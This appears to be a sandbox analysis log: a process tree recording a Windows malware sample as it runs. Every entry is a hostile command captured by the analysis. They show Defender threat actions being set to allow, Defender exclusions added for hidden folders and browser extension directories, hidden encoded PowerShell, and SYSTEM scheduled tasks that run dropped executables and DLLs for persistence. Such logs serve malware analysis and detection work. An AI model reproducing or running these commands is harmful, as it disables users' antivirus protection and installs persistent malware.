powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:7604

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:5768

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:7704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:5796

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:6336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:6148

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:2620

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:6864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:6844

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:8004

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:8012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:4820

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:6180

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:7172

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:6348

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:5988

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:7380

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:7756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:5516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:7180

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:7364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:7308

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:7464

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:7448

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:7580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:6476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:7504

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:7912

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:7852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GMSjHEOgNPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GMSjHEOgNPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KorSFqdQtYRU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KorSFqdQtYRU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KwCCzMbLU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KwCCzMbLU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XBWMRbUXfmiUC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\XBWMRbUXfmiUC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rsBcJxCcWvMYeshHoVR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rsBcJxCcWvMYeshHoVR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\iqSdQZanzWATcrVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\iqSdQZanzWATcrVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\xGckbeqHiGwifhCDG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\xGckbeqHiGwifhCDG\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\EHIXdycWpFSJkSHq\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\EHIXdycWpFSJkSHq\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:7840

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GMSjHEOgNPUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:7784

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GMSjHEOgNPUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:7648

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GMSjHEOgNPUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:7716

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KorSFqdQtYRU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:7236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KorSFqdQtYRU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:6464

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KwCCzMbLU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1452

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KwCCzMbLU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:7064

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XBWMRbUXfmiUC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:8072

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XBWMRbUXfmiUC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rsBcJxCcWvMYeshHoVR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:672

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rsBcJxCcWvMYeshHoVR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\iqSdQZanzWATcrVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:5260

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\iqSdQZanzWATcrVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:5020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2296

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:7468

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:6924

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\xGckbeqHiGwifhCDG /t REG_DWORD /d 0 /reg:32
3⤵
PID:6788

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\xGckbeqHiGwifhCDG /t REG_DWORD /d 0 /reg:64
3⤵
PID:1476

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\EHIXdycWpFSJkSHq /t REG_DWORD /d 0 /reg:32
3⤵
PID:4892

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\EHIXdycWpFSJkSHq /t REG_DWORD /d 0 /reg:64
3⤵
PID:4408

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gfDNLwpKD" /SC once /ST 17:07:13 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3868

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gfDNLwpKD"
2⤵
PID:2464

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gfDNLwpKD"
2⤵
PID:7264

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "pnPsUKnfnoEJVAtbZ" /SC once /ST 10:52:00 /RU "SYSTEM" /TR "\"C:\Windows\Temp\EHIXdycWpFSJkSHq\KmVWKxRzianuNHi\qRzaRqL.exe\" lU /QZiDdidNv 757674 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:6664

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "pnPsUKnfnoEJVAtbZ"
2⤵
PID:7660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5264 -s 928
2⤵
- Program crash
PID:7236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7352

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:5524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:6344

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5708

C:\Windows\Temp\EHIXdycWpFSJkSHq\KmVWKxRzianuNHi\qRzaRqL.exe
C:\Windows\Temp\EHIXdycWpFSJkSHq\KmVWKxRzianuNHi\qRzaRqL.exe lU /QZiDdidNv 757674 /S
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:7600

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bSqDvJefqHHToWFkhX"
2⤵
PID:7408

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:1244

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:5020

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:7876

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:4688

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:6788

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
PID:7472

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\KwCCzMbLU\RFCKEx.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "LBkQMkaOkePFaGy" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:6884

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "LBkQMkaOkePFaGy2" /F /xml "C:\Program Files (x86)\KwCCzMbLU\MUbOkWc.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:1684

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "LBkQMkaOkePFaGy"
2⤵
PID:5000

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "LBkQMkaOkePFaGy"
2⤵
PID:5412

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1476

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "IGVxyrrDZpMMZk" /F /xml "C:\Program Files (x86)\KorSFqdQtYRU2\BFrrJmF.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:6400

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "uxtdTnDgDVVnV2" /F /xml "C:\ProgramData\iqSdQZanzWATcrVB\pPnrBMk.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2408

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MrVIgsKRJJEXZkYHw2" /F /xml "C:\Program Files (x86)\rsBcJxCcWvMYeshHoVR\OcuRBmJ.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3440

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "vePANJsyasiLtlcPAko2" /F /xml "C:\Program Files (x86)\XBWMRbUXfmiUC\yKuXAVt.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3836

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KaffSBjvdLDqnEDfT" /SC once /ST 06:13:43 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\EHIXdycWpFSJkSHq\MDruiJSd\lcqKnqW.dll\",#1 /cpdidqoy 757674" /V1 /F
2⤵
- Scheduled Task/Job: Scheduled Task
PID:4704

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "KaffSBjvdLDqnEDfT"
2⤵
PID:5404

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "lkFiE1" /SC once /ST 15:53:27 /F /RU "Admin" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" --restore-last-session"
2⤵
